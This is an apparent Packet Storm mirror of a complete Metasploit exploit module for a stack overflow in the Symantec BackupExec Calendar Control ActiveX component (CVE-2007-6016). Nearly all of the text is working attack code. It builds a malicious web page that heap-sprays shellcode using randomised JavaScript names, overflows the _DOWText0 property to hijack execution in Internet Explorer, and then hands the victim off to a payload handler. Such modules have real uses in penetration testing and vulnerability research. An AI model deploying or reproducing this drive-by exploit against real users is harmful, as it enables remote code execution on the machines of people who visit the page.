Symantec BackupExec Calendar Control Buffer Overflow

2009-11-2600:00:00
Elazar Broad
packetstormsecurity.com
0.958 High
EPSS
Percentile
99.4%
JSON
`  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Symantec BackupExec Calendar Control Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Symantec BackupExec Calendar Control.   
By sending an overly long string to the "_DOWText0" property located   
in the pvcalendar.ocx control, an attacker may be able to execute   
arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2007-6016' ],  
[ 'OSVDB', '42358'],  
[ 'BID', '26904' ],  
[ 'URL', 'http://secunia.com/advisories/27885/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 800,  
'BadChars' => "\x00\x09\x0a\x0d'\\",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 256, 'Ret' => 0x0A0A0A0A } ]   
],  
'DisclosureDate' => 'Feb 28 2008',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Setup exploit buffers  
nops = Rex::Text.to_unescape(make_nops(4))  
ret = Rex::Text.uri_encode([target.ret].pack('L'))  
blocksize = 0x30000  
fillto = 400   
offset = target['Offset']  
junk = rand_text_alpha(4)  
  
# Randomize the javascript variable names  
pvcalendar = rand_text_alpha(rand(100) + 1)  
j_shellcode = rand_text_alpha(rand(100) + 1)  
j_nops = rand_text_alpha(rand(100) + 1)  
j_headersize = rand_text_alpha(rand(100) + 1)  
j_slackspace = rand_text_alpha(rand(100) + 1)  
j_fillblock = rand_text_alpha(rand(100) + 1)  
j_block = rand_text_alpha(rand(100) + 1)  
j_memory = rand_text_alpha(rand(100) + 1)  
j_counter = rand_text_alpha(rand(30) + 2)  
j_ret = rand_text_alpha(rand(100) + 1)  
j_junk = rand_text_alpha(rand(100) + 1)  
j_filename = rand_text_alpha(rand(16) + 1)  
  
# Build out the message  
content = %Q|  
<html>  
<object classid='clsid:22ACD16F-99EB-11D2-9BB3-00400561D975' id='#{pvcalendar}'></object>  
<script language='javascript'>  
#{j_shellcode} = unescape('#{shellcode}');  
#{j_nops} = unescape('#{nops}');  
#{j_headersize} = 20;  
#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length  
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};  
#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});  
#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});  
while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};  
#{j_memory} = new Array();  
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};  
#{j_ret} = unescape('#{ret}');  
while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};  
#{j_junk} = '#{junk}';  
while (#{j_junk}.length < #{offset}) #{j_junk} += #{j_junk};  
try {  
#{pvcalendar}._DOWText0 = #{j_junk} + #{j_ret};  
#{pvcalendar}.Save('#{j_filename}',0);  
} catch(err) {}  
</script>  
</html>  
|  
  
  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`
0.958 High
EPSS
Percentile
99.4%
JSON
Related for PACKETSTORM:83131